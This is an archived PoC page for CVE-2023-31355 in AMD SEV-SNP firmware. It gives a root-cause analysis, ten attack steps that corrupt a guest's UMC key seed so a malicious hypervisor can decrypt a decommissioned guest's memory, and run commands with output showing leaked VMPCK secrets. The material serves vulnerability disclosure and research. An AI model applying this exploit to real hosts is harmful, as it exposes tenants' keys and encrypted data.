Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-31355 PoC — AMD SEV-SNP 安全漏洞

Source
Associated Vulnerability
Title:AMD SEV-SNP 安全漏洞 (CVE-2023-31355)
Description:AMD SEV-SNP是美国超威半导体(AMD)公司的一个安全加密虚拟化固件。使用单个密钥来加密系统内存。 AMD SEV-SNP存在安全漏洞,该漏洞源于对写入操作的不当限制导致恶意虚拟机管理程序覆盖客户的UMC种子,从而允许读取客户的内存。
Readme
# SEV Firmware Vulnerability

This repo contains an exploit for a vulnerability in the SEV firmware. The exploit allows decrypting arbitrary memory of an SEV-SNP guest after it's been decommissioned.

Tested on version 1.55.16 (latest as of time of writing).

## Root Cause

[`snp_reclaim_buffer`](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_rmp.c#L877-L902) unconditionally tries to write back RMP changes even when the address isn't covered by the RMP. If `address` is not covered by the RMP, the address for the RMP entry `page_rmp_paddr` is never properly initialized and stays at its initial value of `0`. As a result the firmware tries to write the changes to the RMP entry back to address `0`. This is bad because address `0` is covered by the RMP and shouldn't be written to without more checks. If `address` is outside the RMP covered area, `page_rmp_entry` is never properly initialized and contains garbage memory from the stack. This garbage memory is constant in practice.

There's a [comment](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_rmp.c#L346-L348) warning about exactly this code pattern, which is also why I wouldn't be surprised if I'm not the first one to report this.

`snp_reclaim_buffer` is called with [the address of the status page](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/main.c#L440) of the SEV ring buffers when the hypervisor requests exiting ring buffer mode. This address is [attacker controlled](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_mcmd.c#L1733-L1734). There are [some checks](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_mcmd.c#L1713) for this address, but default pages (i.e. pages outside the RMP covered area) are [explicitly allowed](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_rmp.c#L1104).

## Exploit

We can exploit this write to address `0` by placing a guest context page there. Conveniently the first field of the guest context page is the UMC key seed which is exactly the same size as an RMP entry (both are 16 bytes in size). By tricking the firmware into writing changes back to address `0` we can corrupt the UMC key seed. The uninitialized RMP entry that is written is always the same, so the corrupted UMC key seed will also always be almost the same: The subpage count (9 bits) in the RMP entry is not written, but all other fields are. By repeatedly creating new guest context pages which will have a different random initial subpage counts each time, we can eventually create multiple guests with the same UMC key seed.

To exploit the vulnerability we can execute the following steps:
1. Create a guest context page at address `0` for the victim guest.
2. Use the vulnerability to corrupt the victim guest's UMC key seed.
3. Activate the victim guest context page and launch and run the victim guest.
4. Decomission the victim guest.
5. Create a guest context page at address `0` for the attacker guest.
6. Use the vulnerability to corrupt the attacker guest's UMC key seed. All but 9 bits are guaranteed to match the victim guest.
7. If the attacker guest's UMC key seed matches the victim continue, otherwise go to step 5.
8. Activate the attacker guest context page and launch with the debug flag enabled.
9. Assign the victim guest's memory to the attacker guest.
10. Use the `SNP_DBG_ENCRYPT` command to decrypt the victim guest's memory using the attacker guest's context page. This will succeed because the victim guest and the attacker guest share a UMC key seed.

## Impact

Due to the fact that we can only decrypt memory after the guest has been decommissioned, it's not possible to create counterfeit attestation reports even though we have access to the guest's secrets. We can only create counterfeit attestation reports if the guest has been migrated to another host before decomissioned: In this case the secrets (i.e. VMPCKs) from the decomissioned guest will also work on the new migrated instance.

In practice though, a lot of applications store other sensitive information (i.e. private keys, disk encryption keys) that can be leaked using this exploit.

## Mitigation

The RMP entry should only be written back if the page was not in the default state.

## PoC Usage

1. Change the RMP covered area in the BIOS to 64GiB (0x10000 1-MiB pages). If your system doesn't support that, the Linux patches will have to be adjusted accordingly. The PoC has been tested on a system with 128GiB of memory.
2. Apply the patches in the linux-patches folder to the tip of https://github.com/AMDESE/linux/commits/snp-host-v10. Build, install and boot the kernel.
3. Launch a victim SEV-SNP guest.
4. With the guest still running, get the (encrypted) UMC key seed.
   ```
   root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
   118402003190020000d0150701000000
   ```
5. Stop the victim guest.
6. Inspect the kernel logs to find the location of the secret page created during launch.
   ```
   root@server:~# dmesg | grep "kvm_amd: Detected secret page"
   [  463.851449] kvm_amd: Detected secret page at pfn 171a24
   ```
7. Reload the `ccp`, `kvm` and `kvm_and` kernel modules:
   ```
   root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
   ```
   The Linux patches seem to mess up the RMP and this reinitializes the RMP.
8. Run the PoC.
   ```
   root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
       Finished dev [unoptimized + debuginfo] target(s) in 0.03s
   Creating VM with identical UMC key seed
   [11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
   Raw page:
   000: 0300000000000000110fa0000000000000000000000000000000000082837143
   020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
   040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
   060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
   080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
   0a0: 0000000000000000000000000000000000000000000000000000000000000000
   0c0: 0000000000000000000000000000000000000000000000000000000000000000
   0e0: 0000000000000000000000000000000000000000000000000000000000000000
   100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
   120: 0000000000000000000000000000000000000000000000000000000000000000
   140: 0000000000000000000000000000000000000000000000000000000000000000
   160: c800000000000000000000000000000000000000000000000000000000000000
   180: 0000000000000000000000000000000000000000000000000000000000000000
   1a0: 0000000000000000000000000000000000000000000000000000000000000000
   1c0: 0000000000000000000000000000000000000000000000000000000000000000
   1e0: 0000000000000000000000000000000000000000000000000000000000000000
   200: 0000000000000000000000000000000000000000000000000000000000000000
   220: 0000000000000000000000000000000000000000000000000000000000000000
   240: 0000000000000000000000000000000000000000000000000000000000000000
   260: 0000000000000000000000000000000000000000000000000000000000000000
   280: 0000000000000000000000000000000000000000000000000000000000000000
   2a0: 0000000000000000000000000000000000000000000000000000000000000000
   2c0: 0000000000000000000000000000000000000000000000000000000000000000
   2e0: 0000000000000000000000000000000000000000000000000000000000000000
   300: 0000000000000000000000000000000000000000000000000000000000000000
   320: 0000000000000000000000000000000000000000000000000000000000000000
   340: 0000000000000000000000000000000000000000000000000000000000000000
   360: 0000000000000000000000000000000000000000000000000000000000000000
   380: 0000000000000000000000000000000000000000000000000000000000000000
   3a0: 0000000000000000000000000000000000000000000000000000000000000000
   3c0: 0000000000000000000000000000000000000000000000000000000000000000
   3e0: 0000000000000000000000000000000000000000000000000000000000000000
   400: 0000000000000000000000000000000000000000000000000000000000000000
   420: 0000000000000000000000000000000000000000000000000000000000000000
   440: 0000000000000000000000000000000000000000000000000000000000000000
   460: 0000000000000000000000000000000000000000000000000000000000000000
   480: 0000000000000000000000000000000000000000000000000000000000000000
   4a0: 0000000000000000000000000000000000000000000000000000000000000000
   4c0: 0000000000000000000000000000000000000000000000000000000000000000
   4e0: 0000000000000000000000000000000000000000000000000000000000000000
   500: 0000000000000000000000000000000000000000000000000000000000000000
   520: 0000000000000000000000000000000000000000000000000000000000000000
   540: 0000000000000000000000000000000000000000000000000000000000000000
   560: 0000000000000000000000000000000000000000000000000000000000000000
   580: 0000000000000000000000000000000000000000000000000000000000000000
   5a0: 0000000000000000000000000000000000000000000000000000000000000000
   5c0: 0000000000000000000000000000000000000000000000000000000000000000
   5e0: 0000000000000000000000000000000000000000000000000000000000000000
   600: 0000000000000000000000000000000000000000000000000000000000000000
   620: 0000000000000000000000000000000000000000000000000000000000000000
   640: 0000000000000000000000000000000000000000000000000000000000000000
   660: 0000000000000000000000000000000000000000000000000000000000000000
   680: 0000000000000000000000000000000000000000000000000000000000000000
   6a0: 0000000000000000000000000000000000000000000000000000000000000000
   6c0: 0000000000000000000000000000000000000000000000000000000000000000
   6e0: 0000000000000000000000000000000000000000000000000000000000000000
   700: 0000000000000000000000000000000000000000000000000000000000000000
   720: 0000000000000000000000000000000000000000000000000000000000000000
   740: 0000000000000000000000000000000000000000000000000000000000000000
   760: 0000000000000000000000000000000000000000000000000000000000000000
   780: 0000000000000000000000000000000000000000000000000000000000000000
   7a0: 0000000000000000000000000000000000000000000000000000000000000000
   7c0: 0000000000000000000000000000000000000000000000000000000000000000
   7e0: 0000000000000000000000000000000000000000000000000000000000000000
   800: 0000000000000000000000000000000000000000000000000000000000000000
   820: 0000000000000000000000000000000000000000000000000000000000000000
   840: 0000000000000000000000000000000000000000000000000000000000000000
   860: 0000000000000000000000000000000000000000000000000000000000000000
   880: 0000000000000000000000000000000000000000000000000000000000000000
   8a0: 0000000000000000000000000000000000000000000000000000000000000000
   8c0: 0000000000000000000000000000000000000000000000000000000000000000
   8e0: 0000000000000000000000000000000000000000000000000000000000000000
   900: 0000000000000000000000000000000000000000000000000000000000000000
   920: 0000000000000000000000000000000000000000000000000000000000000000
   940: 0000000000000000000000000000000000000000000000000000000000000000
   960: 0000000000000000000000000000000000000000000000000000000000000000
   980: 0000000000000000000000000000000000000000000000000000000000000000
   9a0: 0000000000000000000000000000000000000000000000000000000000000000
   9c0: 0000000000000000000000000000000000000000000000000000000000000000
   9e0: 0000000000000000000000000000000000000000000000000000000000000000
   a00: 0000000000000000000000000000000000000000000000000000000000000000
   a20: 0000000000000000000000000000000000000000000000000000000000000000
   a40: 0000000000000000000000000000000000000000000000000000000000000000
   a60: 0000000000000000000000000000000000000000000000000000000000000000
   a80: 0000000000000000000000000000000000000000000000000000000000000000
   aa0: 0000000000000000000000000000000000000000000000000000000000000000
   ac0: 0000000000000000000000000000000000000000000000000000000000000000
   ae0: 0000000000000000000000000000000000000000000000000000000000000000
   b00: 0000000000000000000000000000000000000000000000000000000000000000
   b20: 0000000000000000000000000000000000000000000000000000000000000000
   b40: 0000000000000000000000000000000000000000000000000000000000000000
   b60: 0000000000000000000000000000000000000000000000000000000000000000
   b80: 0000000000000000000000000000000000000000000000000000000000000000
   ba0: 0000000000000000000000000000000000000000000000000000000000000000
   bc0: 0000000000000000000000000000000000000000000000000000000000000000
   be0: 0000000000000000000000000000000000000000000000000000000000000000
   c00: 0000000000000000000000000000000000000000000000000000000000000000
   c20: 0000000000000000000000000000000000000000000000000000000000000000
   c40: 0000000000000000000000000000000000000000000000000000000000000000
   c60: 0000000000000000000000000000000000000000000000000000000000000000
   c80: 0000000000000000000000000000000000000000000000000000000000000000
   ca0: 0000000000000000000000000000000000000000000000000000000000000000
   cc0: 0000000000000000000000000000000000000000000000000000000000000000
   ce0: 0000000000000000000000000000000000000000000000000000000000000000
   d00: 0000000000000000000000000000000000000000000000000000000000000000
   d20: 0000000000000000000000000000000000000000000000000000000000000000
   d40: 0000000000000000000000000000000000000000000000000000000000000000
   d60: 0000000000000000000000000000000000000000000000000000000000000000
   d80: 0000000000000000000000000000000000000000000000000000000000000000
   da0: 0000000000000000000000000000000000000000000000000000000000000000
   dc0: 0000000000000000000000000000000000000000000000000000000000000000
   de0: 0000000000000000000000000000000000000000000000000000000000000000
   e00: 0000000000000000000000000000000000000000000000000000000000000000
   e20: 0000000000000000000000000000000000000000000000000000000000000000
   e40: 0000000000000000000000000000000000000000000000000000000000000000
   e60: 0000000000000000000000000000000000000000000000000000000000000000
   e80: 0000000000000000000000000000000000000000000000000000000000000000
   ea0: 0000000000000000000000000000000000000000000000000000000000000000
   ec0: 0000000000000000000000000000000000000000000000000000000000000000
   ee0: 0000000000000000000000000000000000000000000000000000000000000000
   f00: 0000000000000000000000000000000000000000000000000000000000000000
   f20: 0000000000000000000000000000000000000000000000000000000000000000
   f40: 0000000000000000000000000000000000000000000000000000000000000000
   f60: 0000000000000000000000000000000000000000000000000000000000000000
   f80: 0000000000000000000000000000000000000000000000000000000000000000
   fa0: 0000000000000000000000000000000000000000000000000000000000000000
   fc0: 0000000000000000000000000000000000000000000000000000000000000000
   fe0: 0000000000000000000000000000000000000000000000000000000000000000
   
   Secrets page:
   imi_en: false
   FMS: 00a00f11
   gosvw: 00000000000000000000000082837143
   vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
   vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
   vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
   vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
   VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
   tsc_factor: 200
   ```
   Note that there's nothing special about secret pages, this exploit can also be used to decrypt normal pages. Secret pages are used in the PoC because they have very recognizable content that makes it easy to see that decryption of victim memory has succeeded.
File Snapshot

[4.0K] /data/pocs/d18677b55324601269359ef4bdc4dd7d451297bd ├── [ 13K] Cargo.lock ├── [ 582] Cargo.toml ├── [4.0K] linux-patches │   ├── [1.2K] 0001-don-t-fail-if-some-memory-isn-t-covered-by-the-RMP.patch │   ├── [ 992] 0002-don-t-mark-0-as-hypervisor-fixed.patch │   ├── [1.0K] 0003-always-use-address-0-for-guest-context-pages.patch │   ├── [2.0K] 0004-add-definitions-for-the-ring-buffer-command.patch │   ├── [3.1K] 0005-implement-attack-code.patch │   ├── [1.1K] 0006-log-leak-locations-of-secret-pages.patch │   └── [2.8K] 0007-add-ioctl-for-decrypting-pfns.patch ├── [ 16K] README.md └── [4.0K] src ├── [ 12K] kvm.rs ├── [3.8K] main.rs ├── [4.0K] snp_types │   ├── [2.1K] guest_policy.rs │   └── [1.2K] secrets.rs └── [ 937] snp_types.rs 3 directories, 15 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.